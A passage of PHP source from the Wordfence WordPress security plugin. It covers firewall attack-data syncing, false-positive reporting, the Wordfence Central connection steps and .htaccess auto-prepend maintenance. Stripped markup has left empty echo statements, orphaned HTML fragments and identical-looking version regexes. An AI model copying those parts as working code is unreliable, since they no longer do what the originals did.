'learning-mode') { //Added at the WAF level so WP hook was not dispatched then, aggregate and dispatch now if (isset($addedNeedsEvent[$urlParamKey])) { $addedNeedsEvent[$urlParamKey]['rule'] = is_array($addedNeedsEvent[$urlParamKey]['rule']) ? array_merge($addedNeedsEvent[$urlParamKey]['rule'], array($ruleID)) : array($addedNeedsEvent[$urlParamKey]['rule'], $ruleID); } else { $value = $whitelistedData; $value['rule'] = $ruleID; $value['path'] = base64_decode($path); $value['paramKey'] = base64_decode($paramKey); $value['source'] = $source; $addedNeedsEvent[$urlParamKey] = $value; } } } } if (count($ruleData)) { $falsePositives[] = array( base64_decode($path), base64_decode($paramKey), $ruleData, ); } } $addedNeedsEvent = array_values($addedNeedsEvent); if (!empty($addedNeedsEvent)) { /** * Fires when WAF allow entries are manually added from the block page. * * @since 8.0.0 * * @see wfConfig.php::wordfence_waf_toggled_allow_entry for the payload structure */ do_action('wordfence_waf_created_allow_entry', $addedNeedsEvent); } $data = []; if (!empty($wafFailures)) $data['waf_failures'] = $wafFailures; if (!empty($falsePositives)) $data['false_positives'] = $falsePositives; if (count($data)) { $homeurl = wfUtils::wpHomeURL(); $siteurl = wfUtils::wpSiteURL(); $installType = wfUtils::wafInstallationType(); $response = wp_remote_post(WFWAF_API_URL_SEC . "?" . http_build_query(array( 'action' => 'send_waf_false_positives', 'k' => $waf->getStorageEngine()->getConfig('apiKey', null, 'synced'), 's' => $siteurl, 'h' => $homeurl, 't' => microtime(true), 'c' => $installType, 'lang' => get_site_option('WPLANG'), ), '', '&'), array( 'body' => json_encode($data), 'headers' => array( 'Content-Type' => 'application/json', 'Referer' => false, ), 'timeout' => 30, )); if (!is_wp_error($response) && ($body = wp_remote_retrieve_body($response))) { $jsonData = json_decode($body, true); if (is_array($jsonData) && array_key_exists('success', $jsonData)) { $purgeWafFailures(); wfConfig::set('lastFalsePositiveSendTime', $mostRecentWhitelisting); } } } } } else if (is_string($okToSendBody) && preg_match('/next check in: ([0-9]+)/', $okToSendBody, $matches)) { self::delaySendAttackData(time() + $matches[1]); } } else { // Could be that the server is down, so hold off on sending data for a little while self::delaySendAttackData(time() + 7200); } } else if (!wfConfig::get('other_WFNet', true)) { wfConfig::set('lastAttackDataSendTime', time()); wfConfig::set('lastFalsePositiveSendTime', time()); self::truncateWafFailures(); } self::trimWfHits(); } public static function syncAttackData($exit = true) { global $wpdb; if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } $log = self::getLog(); $waf = wfWAF::getInstance(); $table_wfHits = wfDB::networkTable('wfHits'); if ($waf->getStorageEngine() instanceof wfWAFStorageMySQL) { $lastAttackMicroseconds = floatval($waf->getStorageEngine()->getConfig('lastAttackDataTruncateTime')); } else { $lastAttackMicroseconds = $wpdb->get_var("SELECT MAX(attackLogTime) FROM {$table_wfHits}"); } if ($waf->getStorageEngine()->hasNewerAttackData($lastAttackMicroseconds)) { $attackData = $waf->getStorageEngine()->getNewestAttackDataArray($lastAttackMicroseconds); if ($attackData) { foreach ($attackData as $request) { if (count($request) !== 9 && count($request) !== 10 /* with metadata */ && count($request) !== 11) { continue; } list($logTimeMicroseconds, $requestTime, $ip, $learningMode, $paramKey, $paramValue, $failedRules, $ssl, $requestString) = $request; $metadata = null; $recordID = null; if (array_key_exists(9, $request)) { $metadata = $request[9]; } if (array_key_exists(10, $request)) { $recordID = $request[10]; } // Skip old entries and hits in learning mode, since they'll get picked up anyways. if ($logTimeMicroseconds <= $lastAttackMicroseconds || $learningMode) { continue; } $statusCode = 403; $hit = new wfRequestModel(); if (is_numeric($recordID)) { $hit->id = $recordID; } $hit->attackLogTime = $logTimeMicroseconds; $hit->ctime = $requestTime; $hit->IP = wfUtils::inet_pton($ip); if (preg_match('/user\-agent:(.*?)\n/i', $requestString, $matches)) { $hit->UA = trim($matches[1]); $hit->isGoogle = wfCrawl::isGoogleCrawler($hit->UA); } if (preg_match('/Referer:(.*?)\n/i', $requestString, $matches)) { $hit->referer = trim($matches[1]); } if (preg_match('/^[a-z]+\s+(.*?)\s+/i', $requestString, $uriMatches) && preg_match('/Host:(.*?)\n/i', $requestString, $hostMatches)) { $hit->URL = 'http' . ($ssl ? 's' : '') . '://' . trim($hostMatches[1]) . trim($uriMatches[1]); } $hit->jsRun = (int) wfLog::isHumanRequest($ip, $hit->UA); $isHuman = !!$hit->jsRun; if (preg_match('/cookie:(.*?)\n/i', $requestString, $matches)) { $authCookieName = $waf->getAuthCookieName(); $hasLoginCookie = strpos($matches[1], $authCookieName) !== false; if ($hasLoginCookie && preg_match('/' . preg_quote($authCookieName) . '=(.*?);/', $matches[1], $cookieMatches)) { $authCookie = rawurldecode($cookieMatches[1]); $decodedAuthCookie = $waf->parseAuthCookie($authCookie); if ($decodedAuthCookie !== false) { $hit->userID = $decodedAuthCookie['userID']; $isHuman = true; } } } $path = '/'; if (preg_match('/^[A-Z]+ (.*?) HTTP\\/1\\.1/', $requestString, $matches)) { if (($pos = strpos($matches[1], '?')) !== false) { $path = substr($matches[1], 0, $pos); } else { $path = $matches[1]; } } $metadata = ($metadata != null ? (array) $metadata : array()); if (isset($metadata['finalAction']) && $metadata['finalAction']) { // The request was blocked/redirected because of its IP based on the plugin's blocking settings. WAF blocks should be reported but not shown in live traffic with that as a reason. $action = $metadata['finalAction']['action']; $actionDescription = $action; if (class_exists('wfWAFIPBlocksController')) { if ($action == wfWAFIPBlocksController::WFWAF_BLOCK_UAREFIPRANGE) { wfActivityReport::logBlockedIP($ip, null, 'advanced'); } else if ($action == wfWAFIPBlocksController::WFWAF_BLOCK_COUNTRY_BYPASS_REDIR) { /* Handled below */ } else if ($action == wfWAFIPBlocksController::WFWAF_BLOCK_COUNTRY_REDIR) { $actionDescription .= ' (' . wfConfig::get('cbl_redirURL') . ')'; wfConfig::inc('totalCountryBlocked'); wfActivityReport::logBlockedIP($ip, null, 'country'); } else if ($action == wfWAFIPBlocksController::WFWAF_BLOCK_COUNTRY) { wfConfig::inc('totalCountryBlocked'); wfActivityReport::logBlockedIP($ip, null, 'country'); } else if ($action == wfWAFIPBlocksController::WFWAF_BLOCK_WFSN) { wordfence::wfsnReportBlockedAttempt($ip, 'login'); wfActivityReport::logBlockedIP($ip, null, 'brute'); } else if (defined('wfWAFIPBlocksController::WFWAF_BLOCK_BADPOST') && $action == wfWAFIPBlocksController::WFWAF_BLOCK_BADPOST) { wfActivityReport::logBlockedIP($ip, null, 'badpost'); } else if (defined('wfWAFIPBlocksController::WFWAF_BLOCK_BANNEDURL') && $action == wfWAFIPBlocksController::WFWAF_BLOCK_BANNEDURL) { wfActivityReport::logBlockedIP($ip, null, 'bannedurl'); } else if (defined('wfWAFIPBlocksController::WFWAF_BLOCK_FAKEGOOGLE') && $action == wfWAFIPBlocksController::WFWAF_BLOCK_FAKEGOOGLE) { wfActivityReport::logBlockedIP($ip, null, 'fakegoogle'); } else if ((defined('wfWAFIPBlocksController::WFWAF_BLOCK_LOGINSEC') && $action == wfWAFIPBlocksController::WFWAF_BLOCK_LOGINSEC) || (defined('wfWAFIPBlocksController::WFWAF_BLOCK_LOGINSEC_FORGOTPASSWD') && strpos($action, wfWAFIPBlocksController::WFWAF_BLOCK_LOGINSEC_FORGOTPASSWD) === 0) || (defined('wfWAFIPBlocksController::WFWAF_BLOCK_LOGINSEC_FAILURES') && strpos($action, wfWAFIPBlocksController::WFWAF_BLOCK_LOGINSEC_FAILURES) === 0)) { wfActivityReport::logBlockedIP($ip, null, 'brute'); } else if ((defined('wfWAFIPBlocksController::WFWAF_BLOCK_THROTTLEGLOBAL') && $action == wfWAFIPBlocksController::WFWAF_BLOCK_THROTTLEGLOBAL) || (defined('wfWAFIPBlocksController::WFWAF_BLOCK_THROTTLESCAN') && $action == wfWAFIPBlocksController::WFWAF_BLOCK_THROTTLESCAN) || (defined('wfWAFIPBlocksController::WFWAF_BLOCK_THROTTLECRAWLER') && $action == wfWAFIPBlocksController::WFWAF_BLOCK_THROTTLECRAWLER) || (defined('wfWAFIPBlocksController::WFWAF_BLOCK_THROTTLECRAWLERNOTFOUND') && $action == wfWAFIPBlocksController::WFWAF_BLOCK_THROTTLECRAWLERNOTFOUND) || (defined('wfWAFIPBlocksController::WFWAF_BLOCK_THROTTLEHUMAN') && $action == wfWAFIPBlocksController::WFWAF_BLOCK_THROTTLEHUMAN) || (defined('wfWAFIPBlocksController::WFWAF_BLOCK_THROTTLEHUMANNOTFOUND') && $action == wfWAFIPBlocksController::WFWAF_BLOCK_THROTTLEHUMANNOTFOUND) ) { wfConfig::inc('totalIPsThrottled'); wfActivityReport::logBlockedIP($ip, null, 'throttle'); } else { //Manual block wfActivityReport::logBlockedIP($ip, null, 'manual'); } if (isset($metadata['finalAction']['id']) && $action != wfWAFIPBlocksController::WFWAF_BLOCK_COUNTRY_BYPASS_REDIR) { $id = $metadata['finalAction']['id']; $block = new wfBlock($id); $block->recordBlock(1, (int) $requestTime); } } if (strlen($actionDescription) == 0) { $actionDescription = 'Blocked by Wordfence'; } if (empty($failedRules)) { // Just a plugin block $statusCode = 503; $hit->action = 'blocked:wordfence'; if (class_exists('wfWAFIPBlocksController')) { if ($action == wfWAFIPBlocksController::WFWAF_BLOCK_COUNTRY_BYPASS_REDIR) { $statusCode = 302; $hit->action = 'cbl:redirect'; } else if ($action == wfWAFIPBlocksController::WFWAF_BLOCK_WFSN) { $hit->action = 'blocked:wfsnrepeat'; wordfence::wfsnReportBlockedAttempt($ip, 'waf'); } else if (isset($metadata['finalAction']['lockout'])) { $hit->action = 'lockedOut'; } else if (isset($metadata['finalAction']['block'])) { //Do nothing } } $hit->actionDescription = $actionDescription; } else if (preg_match('/\blogged\b/i', $failedRules)) { $statusCode = 200; $hit->action = 'logged:waf'; } else { // Blocked by the WAF but would've been blocked anyway by the plugin settings so that message takes priority $hit->action = 'blocked:waf-always'; $hit->actionDescription = $actionDescription; } } else { if (preg_match('/\blogged\b/i', $failedRules)) { $statusCode = 200; $hit->action = 'logged:waf'; } else { $hit->action = 'blocked:waf'; $type = null; if ($failedRules == 'blocked') { $type = 'blacklist'; } else if (is_numeric($failedRules)) { $type = 'waf'; } wfActivityReport::logBlockedIP($hit->IP, null, $type); } } /** @var wfWAFRule $rule */ $ruleIDs = explode('|', $failedRules); $actionData = array( 'learningMode' => $learningMode, 'failedRules' => $failedRules, 'paramKey' => $paramKey, 'paramValue' => $paramValue, 'path' => $path, ); if ($ruleIDs && $ruleIDs[0]) { $rule = $waf->getRule($ruleIDs[0]); if ($rule) { if ($hit->action == 'logged:waf' || $hit->action == 'blocked:waf') { $hit->actionDescription = $rule->getDescription(); } $actionData['category'] = $rule->getCategory(); $actionData['ssl'] = $ssl; $actionData['fullRequest'] = base64_encode($requestString); } else if ($ruleIDs[0] == 'logged' && isset($ruleIDs[1]) && ($rule = $waf->getRule($ruleIDs[1]))) { if ($hit->action == 'logged:waf' || $hit->action == 'blocked:waf') { $hit->actionDescription = $rule->getDescription(); } $actionData['category'] = $rule->getCategory(); $actionData['ssl'] = $ssl; $actionData['fullRequest'] = base64_encode($requestString); } else if ($ruleIDs[0] == 'logged') { if ($hit->action == 'logged:waf' || $hit->action == 'blocked:waf') { $hit->actionDescription = 'Watched IP Traffic: ' . $ip; } $actionData['category'] = 'logged'; $actionData['ssl'] = $ssl; $actionData['fullRequest'] = base64_encode($requestString); } else if ($ruleIDs[0] == 'blocked') { $actionData['category'] = 'blocked'; $actionData['ssl'] = $ssl; $actionData['fullRequest'] = base64_encode($requestString); } } $hit->actionData = wfRequestModel::serializeActionData($actionData, array('fullRequest', 'ssl', 'category', 'learningMode', 'paramValue')); $hit->statusCode = $statusCode; $hit->save(); self::scheduleSendAttackData(); } } $waf->getStorageEngine()->truncateAttackData(); } update_site_option('wordfence_syncingAttackData', 0); update_site_option('wordfence_syncAttackDataAttempts', 0); update_site_option('wordfence_lastSyncAttackData', time()); if ($exit) { exit; } } public static function addSyncAttackDataAjax() { $URL = home_url('/?wordfence_syncAttackData=' . microtime(true)); $URL = esc_url(preg_replace('/^https?:/i', '', $URL)); // Load as external script async so we don't slow page down. echo ""; } /** * This is the only hook I see to tie into WP's core update process. * Since we hide the readme.html to prevent the WordPress version from being discovered, it breaks the upgrade * process because it cannot copy the previous readme.html. * * @param string $string * @return string */ public static function restoreReadmeForUpgrade($string) { static $didRun; if (!isset($didRun)) { $didRun = true; wfUtils::showReadme(); register_shutdown_function('wfUtils::hideReadme'); } return $string; } public static function showOnboardingBanner() { wfOnboardingController::enqueue_assets(); if (self::isWordfencePage(false) && !self::isWordfenceInstallPage() && !self::isWordfenceSupportPage() && !self::isWordfenceSubpage('tools', 'diagnostics')) { echo wfView::create('onboarding/disabled-overlay')->render(); } echo wfView::create('onboarding/banner', array('dismissable' => !self::isWordfencePage(false)))->render(); } public static function showCentralConfigurationIssueNotice() { ?>

on the Wordfence Dashboard and reconnecting may resolve it. If the issue persists, please contact Wordfence support.', 'wordfence'), network_admin_url('admin.php?page=Wordfence#wf-central-status')), array('a' => array('href' => array()))) ?>

' . __('To make your site as secure as possible, take a moment to optimize the Wordfence Web Application Firewall:', 'wordfence') . '  ' . __('Click here to configure', 'wordfence') . ' ' . __('Dismiss', 'wordfence') . '
' . wp_kses(sprintf(/* translators: Support URL. */ __('If you cannot complete the setup process, click here for help (opens in new tab).', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_FIREWALL_WAF_INSTALL_MANUALLY)), array('a' => array('href' => array(), 'target' => array(), 'rel' => array()), 'span' => array('class' => array()))) . '
'; } public static function wafAutoPrependVerify() { if (WFWAF_AUTO_PREPEND && !WFWAF_SUBDIRECTORY_INSTALL) { echo '

' . __('Nice work! The firewall is now optimized.', 'wordfence') . '

'; } else { echo '

' . __('The changes have not yet taken effect. If you are using LiteSpeed or IIS as your web server or CGI/FastCGI interface, you may need to wait a few minutes for the changes to take effect since the configuration files are sometimes cached. You also may need to select a different server configuration in order to complete this step, but wait for a few minutes before trying. You can try refreshing this page.', 'wordfence') . '

'; } } public static function wafAutoPrependRemoved() { if (!WFWAF_AUTO_PREPEND) { echo '

' . __('Uninstallation was successful!', 'wordfence') . '

'; } else if (WFWAF_SUBDIRECTORY_INSTALL) { echo '

' . __('Uninstallation from this site was successful! The Wordfence Firewall is still active because it is installed in another WordPress installation.', 'wordfence') . '

'; } else { echo '

' . __('The changes have not yet taken effect. If you are using LiteSpeed or IIS as your web server or CGI/FastCGI interface, you may need to wait a few minutes for the changes to take effect since the configuration files are sometimes cached. You also may need to select a different server configuration in order to complete this step, but wait for a few minutes before trying. You can try refreshing this page.', 'wordfence') . '

'; } } public static function wafUpdateSuccessful() { echo '

' . __('The update was successful!', 'wordfence') . '

'; } public static function getWAFBootstrapPath() { if (WF_IS_PRESSABLE || WF_IS_FLYWHEEL) { return WP_CONTENT_DIR . '/wordfence-waf.php'; } return ABSPATH . 'wordfence-waf.php'; } public static function getWAFBootstrapContent($currentAutoPrependedFile = null) { $bootstrapPath = dirname(self::getWAFBootstrapPath()); $currentAutoPrepend = ''; if ($currentAutoPrependedFile && is_file($currentAutoPrependedFile) && !WFWAF_SUBDIRECTORY_INSTALL) { $currentAutoPrepend = sprintf(' // This file was the current value of auto_prepend_file during the Wordfence WAF installation (%2$s) if (file_exists(%1$s)) { include_once %1$s; }', var_export($currentAutoPrependedFile, true), date('r')); } return sprintf('$capability) { if (!current_user_can($capability)) { unset($capabilities[$index]); } } return array_values($capabilities); } public static function licenseStatusChanged() { $event = new wfWAFCronFetchRulesEvent(time() - 2); $event->setWaf(wfWAF::getInstance()); $event->fire(); //Update the WAF cron $cron = (array) wfWAF::getInstance()->getStorageEngine()->getConfig('cron', null, 'livewaf'); if (is_array($cron)) { /** @var wfWAFCronEvent $event */ foreach ($cron as $index => $event) { $event->setWaf(wfWAF::getInstance()); if (!$event->isInPast()) { $newEvent = $event->reschedule(); if ($newEvent instanceof wfWAFCronEvent && $newEvent !== $event) { $cron[$index] = $newEvent; } else { unset($cron[$index]); } } } } wfWAF::getInstance()->getStorageEngine()->setConfig('cron', $cron, 'livewaf'); } /** * @param string $adminURL * @param string $homePath * @param bool $relaxedFileOwnership * @param bool $output Whether or not to output the credentials collection form. If false, this function only returns the status. * @return bool Returns true if the path is writable, otherwise false. */ public static function requestFilesystemCredentials($adminURL, $homePath = null, $relaxedFileOwnership = true, $output = true) { if ($homePath === null) { $homePath = wfUtils::getHomePath(); } if (!$output) { ob_start(); } if (false === ($credentials = request_filesystem_credentials($adminURL, '', false, $homePath, array('version', 'locale'), $relaxedFileOwnership))) { if (!$output) { ob_end_clean(); } return false; } if (!WP_Filesystem($credentials, $homePath, $relaxedFileOwnership)) { // Failed to connect, Error and request again request_filesystem_credentials($adminURL, '', true, ABSPATH, array('version', 'locale'), $relaxedFileOwnership); if (!$output) { ob_end_clean(); } return false; } global $wp_filesystem; if ($wp_filesystem->errors->get_error_code()) { if (!$output) { ob_end_clean(); } return false; } if (!$output) { ob_end_clean(); } return true; } public static function initRestAPI() { if (wfCentral::isSupported()) { $auth = new wfRESTAuthenticationController(); $auth->registerRoutes(); $config = new wfRESTConfigController(); $config->registerRoutes(); $scan = new wfRESTScanController(); $scan->registerRoutes(); } } public static function ajax_wfcentral_step1_callback() { // Step 1: Makes GET request to `/central/api/site/access-token` endpoint authenticated with the auth grant supplied by the user. // - Receives site GUID, public key, short lived JWT. $authGrant = isset($_REQUEST['auth-grant']) ? $_REQUEST['auth-grant'] : null; if (!$authGrant) { return array( 'err' => 1, 'errorMsg' => __("Auth grant is invalid.", 'wordfence'), ); } $request = new wfCentralAPIRequest('/site/access-token', 'GET', $authGrant); try { $response = $request->execute(); } catch (Exception $e) { wfCentralAPIRequest::handleInternalCentralAPIError($e); } catch (Throwable $t) { wfCentralAPIRequest::handleInternalCentralAPIError($t); } if (!isset($response)) { return array( 'err' => 1, 'errorMsg' => __('Internal error when connecting to Wordfence Central (see server error log)', 'wordfence'), ); } else if ($response->isError()) { return $response->returnErrorArray(); } $body = $response->getJSONBody(); if (!is_array($body) || !isset($body['data']['attributes'])) { return array( 'err' => 1, 'errorMsg' => sprintf(/* translators: Error message. */ __("Invalid response from Wordfence Central: %s", 'wordfence'), $response->getBody()), ); } if (!array_key_exists('id', $body['data'])) { return array( 'err' => 1, 'errorMsg' => sprintf(/* translators: JSON property. */ __("Invalid response from Wordfence Central. Parameter %s not found in response.", 'wordfence'), 'id'), ); } $data = $body['data']['attributes']; $expected = array( 'public-key', 'access-token', ); foreach ($expected as $key) { if (!array_key_exists($key, $data)) { return array( 'err' => 1, 'errorMsg' => sprintf(/* translators: JSON property. */ __("Invalid response from Wordfence Central. Parameter %s not found in response.", 'wordfence'), $key), ); } } wfConfig::set('wordfenceCentralSiteID', $body['data']['id']); wfConfig::set('wordfenceCentralPK', pack("H*", $data['public-key'])); wfConfig::set('wordfenceCentralAccessToken', $data['access-token']); wfConfig::set('wordfenceCentralCurrentStep', 2); wfConfig::set('wordfenceCentralDisconnected', false); wfConfig::set('wordfenceCentralDisconnectTime', null); wfConfig::set('wordfenceCentralDisconnectEmail', null); return array( 'success' => 1, ); } public static function ajax_wfcentral_step2_callback() { // Step 2: Makes POST request to `/central/api/wf/site/` endpoint passing in the new public key. // Uses JWT from auth grant endpoint as auth. require_once(WORDFENCE_PATH . '/lib/sodium_compat_fast.php'); $accessToken = wfConfig::get('wordfenceCentralAccessToken'); if (!$accessToken) { return array( 'err' => 1, 'errorMsg' => __("Access token not found.", 'wordfence'), ); } $keypair = ParagonIE_Sodium_Compat::crypto_sign_keypair(); $publicKey = ParagonIE_Sodium_Compat::crypto_sign_publickey($keypair); $secretKey = ParagonIE_Sodium_Compat::crypto_sign_secretkey($keypair); wfConfig::set('wordfenceCentralSecretKey', $secretKey); $request = new wfCentralAPIRequest('/site/' . wfConfig::get('wordfenceCentralSiteID'), 'POST', $accessToken, array( 'data' => array( 'attributes' => array( 'public-key' => ParagonIE_Sodium_Compat::bin2hex($publicKey), ), ), )); try { $response = $request->execute(); } catch (Exception $e) { wfCentralAPIRequest::handleInternalCentralAPIError($e); } catch (Throwable $t) { wfCentralAPIRequest::handleInternalCentralAPIError($t); } if (!isset($response)) { return array( 'err' => 1, 'errorMsg' => __('Internal error when connecting to Wordfence Central (see server error log)', 'wordfence'), ); } else if ($response->isError()) { return $response->returnErrorArray(); } wfConfig::set('wordfenceCentralCurrentStep', 3); return array( 'success' => 1, ); } public static function ajax_wfcentral_step3_callback() { // Step 3: Makes GET request to `/central/api/wf/site/` endpoint signed using Wordfence plugin private key. // - Expects 200 response with site data. try { $request = new wfCentralAuthenticatedAPIRequest('/site/' . wfConfig::get('wordfenceCentralSiteID')); $response = $request->execute(); if ($response->isError()) { return $response->returnErrorArray(); } $body = $response->getJSONBody(); if (!is_array($body) || !isset($body['data']['attributes'])) { return array( 'error' => 1, 'errorMsg' => __('Invalid response from Wordfence Central.', 'wordfence'), ); } wfConfig::set('wordfenceCentralSiteData', json_encode($body['data']['attributes'])); wfConfig::set('wordfenceCentralCurrentStep', 4); return array( 'success' => 1, ); } catch (wfCentralAPIException $e) { return array( 'error' => 1, 'errorMsg' => $e->getMessage(), ); } catch (Exception $e) { wfCentralAPIRequest::handleInternalCentralAPIError($e); return array( 'error' => 1, 'errorMsg' => $e->getMessage(), ); } catch (Throwable $t) { wfCentralAPIRequest::handleInternalCentralAPIError($t); return array( 'error' => 1, 'errorMsg' => $t->getMessage(), ); } } public static function ajax_wfcentral_step4_callback() { // Step 4: Poll for PUT request at `/wp-json/wp/v2/wordfence-auth-grant/` endpoint signed using Wordfence Central private key with short lived JWT. // - Expects verifiable signature of incoming request from Wordfence Central. // - Stores auth grant JWT. $wfCentralAuthGrant = wfConfig::get('wordfenceCentralUserSiteAuthGrant'); if ($wfCentralAuthGrant) { wfConfig::set('wordfenceCentralCurrentStep', 5); return array( 'success' => 1, ); } return array( 'success' => 0, ); } public static function ajax_wfcentral_step5_callback() { // Step 5: Makes POST request to `/central/api/site//access-token` endpoint signed using Wordfence plugin private key with auth grant JWT. // - Expects 200 response with access token. $wfCentralAuthGrant = wfConfig::get('wordfenceCentralUserSiteAuthGrant'); if (!$wfCentralAuthGrant) { return array( 'error' => 1, 'errorMsg' => __('Auth grant not found.', 'wordfence'), ); } try { $request = new wfCentralAuthenticatedAPIRequest( sprintf('/site/%s/access-token', wfConfig::get('wordfenceCentralSiteID')), 'POST', array( 'data' => array( 'attributes' => array( 'auth-grant' => $wfCentralAuthGrant, ), ), )); $response = $request->execute(); if ($response->isError()) { return $response->returnErrorArray(); } $body = $response->getJSONBody(); if (!is_array($body) || !isset($body['access-token'])) { return array( 'error' => 1, 'errorMsg' => __('Invalid response from Wordfence Central.', 'wordfence'), ); } wfConfig::set('wordfenceCentralUserSiteAccessToken', $body['access-token']); wfConfig::set('wordfenceCentralCurrentStep', 6); return array( 'success' => 1, 'access-token' => $body['access-token'], 'redirect-url' => sprintf(WORDFENCE_CENTRAL_URL_SEC . '/sites/%s?access-token=%s', rawurlencode(wfConfig::get('wordfenceCentralSiteID')), rawurlencode($body['access-token'])), ); } catch (wfCentralAPIException $e) { return array( 'error' => 1, 'errorMsg' => $e->getMessage(), ); } catch (Exception $e) { wfCentralAPIRequest::handleInternalCentralAPIError($e); return array( 'error' => 1, 'errorMsg' => $e->getMessage(), ); } catch (Throwable $t) { wfCentralAPIRequest::handleInternalCentralAPIError($t); return array( 'error' => 1, 'errorMsg' => $t->getMessage(), ); } } public static function ajax_wfcentral_step6_callback() { $wfCentralUserSiteAccessToken = wfConfig::get('wordfenceCentralUserSiteAccessToken'); if (!$wfCentralUserSiteAccessToken) { return array( 'error' => 1, 'errorMsg' => __('Access token not found.', 'wordfence'), ); } $status = wfConfig::get('scanStageStatuses'); wfCentral::updateScanStatus($status); wfConfig::set('wordfenceCentralConnectTime', time()); wfConfig::set('wordfenceCentralConnectEmail', wp_get_current_user()->user_email); return array( 'success' => 1, 'access-token' => $wfCentralUserSiteAccessToken, 'redirect-url' => sprintf(WORDFENCE_CENTRAL_URL_SEC . '/sites/%s?access-token=%s', rawurlencode(wfConfig::get('wordfenceCentralSiteID')), rawurlencode($wfCentralUserSiteAccessToken)), ); } public static function ajax_wfcentral_disconnect_callback() { $dismiss = array_key_exists('dismiss', $_POST) && wfUtils::truthyToBoolean($_POST['dismiss']); if ($dismiss) { wfConfig::set('centralUrlMismatchChoice', '1'); return array( 'success' => true, ); } $force = array_key_exists('force', $_POST) && $_POST['force'] === 'true'; $localOnly = array_key_exists('local', $_POST) && $_POST['local'] === 'true'; $message = null; if (!$localOnly) { try { if ($force || !wfCentral::isCentralSiteUrlMismatched()) { $request = new wfCentralAuthenticatedAPIRequest( sprintf('/site/%s', wfConfig::get('wordfenceCentralSiteID')), 'DELETE'); $response = $request->execute(); if ($response->isError()) { return $response->returnErrorArray(); } } else { $message = sprintf(__('The current site URL does not match the Wordfence Central connection information. Local connection information has been removed, but %s is still registered in Wordfence Central.', 'wordfence'), wfCentral::getCentralSiteUrl()); } } catch (wfCentralAPIException $e) { return array( 'success' => false, 'errorMsg' => __('Unable to communicate with Wordfence Central', 'wordfence') ); } catch (Exception $e) { wfCentralAPIRequest::handleInternalCentralAPIError($e); } catch (Throwable $t) { wfCentralAPIRequest::handleInternalCentralAPIError($t); } } wfRESTConfigController::disconnectConfig(); return array( 'success' => true, 'message' => $message, 'title' => __('Disconnected from Wordfence Central') ); } public static function queueCentralConfigurationSync($key, $value) { static $hasRun; if ($hasRun) { return; } $ignored = array( \WordfenceLS\Controller_Settings::OPTION_USE_NTP, \WordfenceLS\Controller_Settings::OPTION_NTP_OFFSET, \WordfenceLS\Controller_Settings::OPTION_ALLOW_DISABLING_NTP, \WordfenceLS\Controller_Settings::OPTION_NTP_FAILURE_COUNT, \WordfenceLS\Controller_Settings::OPTION_CAPTCHA_STATS, ); if (in_array($key, $ignored)) { return; } $hasRun = true; add_action('shutdown', 'wfCentral::requestConfigurationSync'); } public static function hasWoocommerce() { return class_exists('woocommerce'); } } class wfWAFAutoPrependHelper { private $serverConfig; /** * @var string */ private $currentAutoPrependedFile; public static function helper($serverConfig = null, $currentAutoPrependedFile = null) { return new wfWAFAutoPrependHelper($serverConfig, $currentAutoPrependedFile); } public static function isValidServerConfig($serverConfig) { $validValues = array( "apache-mod_php", "apache-suphp", "cgi", "litespeed", "nginx", "iis", 'manual', ); return in_array($serverConfig, $validValues); } /** * Verifies the .htaccess block for mod_php if present, returning true if no changes need to happen, false * if something needs to update. * * @return bool */ public static function verifyHtaccessMod_php() { if (WFWAF_AUTO_PREPEND && PHP_MAJOR_VERSION > 5) { return true; } $serverInfo = wfWebServerInfo::createFromEnvironment(); if (!$serverInfo->isApacheModPHP()) { return true; } $htaccessPath = wfUtils::getHomePath() . '.htaccess'; if (file_exists($htaccessPath)) { $htaccessContent = file_get_contents($htaccessPath); $regex = '/# Wordfence WAF.*?# END Wordfence WAF/is'; if (preg_match($regex, $htaccessContent, $matches)) { $wafBlock = $matches[0]; $hasPHP5 = preg_match('/\s*php_value auto_prepend_file \'.*?\'\s*<\/IfModule>/is', $wafBlock); $hasPHP7 = preg_match('/\s*php_value auto_prepend_file \'.*?\'\s*<\/IfModule>/is', $wafBlock); $hasPHP8 = preg_match('/\s*php_value auto_prepend_file \'.*?\'\s*<\/IfModule>/is', $wafBlock); if ($hasPHP5 && (!$hasPHP7 || !$hasPHP8)) { //Check if PHP 5 is configured, but not 7 or 8. return false; } } } return true; } /** * Updates the mod_php block of the .htaccess if needed to include PHP 7. Returns whether or not this was performed successfully. * * @return bool */ public static function fixHtaccessMod_php() { $htaccessPath = wfUtils::getHomePath() . '.htaccess'; if (file_exists($htaccessPath)) { $htaccessContent = file_get_contents($htaccessPath); $regex = '/# Wordfence WAF.*?# END Wordfence WAF/is'; if (preg_match($regex, $htaccessContent, $matches, PREG_OFFSET_CAPTURE)) { $wafBlock = $matches[0][0]; $hasPHP5 = preg_match('/\s*php_value auto_prepend_file \'(.*?)\'\s*<\/IfModule>/is', $wafBlock, $php5Matches, PREG_OFFSET_CAPTURE); $hasPHP7 = preg_match('/\s*php_value auto_prepend_file \'.*?\'\s*<\/IfModule>/is', $wafBlock, $php7Matches, PREG_OFFSET_CAPTURE); $hasPHP8 = preg_match('/\s*php_value auto_prepend_file \'.*?\'\s*<\/IfModule>/is', $wafBlock); if ($hasPHP5 && !$hasPHP7) { $beforeWAFBlock = substr($htaccessContent, 0, $matches[0][1]); $afterWAFBlock = substr($htaccessContent, $matches[0][1] + strlen($wafBlock)); $beforeMod_php = substr($wafBlock, 0, $php5Matches[0][1]); $afterMod_php = substr($wafBlock, $php5Matches[0][1] + strlen($php5Matches[0][0])); $updatedHtaccessContent = $beforeWAFBlock . $beforeMod_php . $php5Matches[0][0] . "\n" . sprintf("\n\tphp_value auto_prepend_file '%1\$s'\n\n\n\tphp_value auto_prepend_file '%1\$s'\n", $php5Matches[1][0] /* already escaped */) . $afterMod_php . $afterWAFBlock; return file_put_contents($htaccessPath, $updatedHtaccessContent) !== false; } if ($hasPHP5 && $hasPHP7 && !$hasPHP8) { $beforeWAFBlock = substr($htaccessContent, 0, $matches[0][1]); $afterWAFBlock = substr($htaccessContent, $matches[0][1] + strlen($wafBlock)); $beforeMod_php = substr($wafBlock, 0, $php5Matches[0][1]); $afterMod_php = substr($wafBlock, $php7Matches[0][1] + strlen($php7Matches[0][0])); $updatedHtaccessContent = $beforeWAFBlock . $beforeMod_php . $php5Matches[0][0] . "\n" . $php7Matches[0][0] . "\n" . sprintf("\n\tphp_value auto_prepend_file '%s'\n", $php5Matches[1][0] /* already escaped */) . $afterMod_php . $afterWAFBlock; return file_put_contents($htaccessPath, 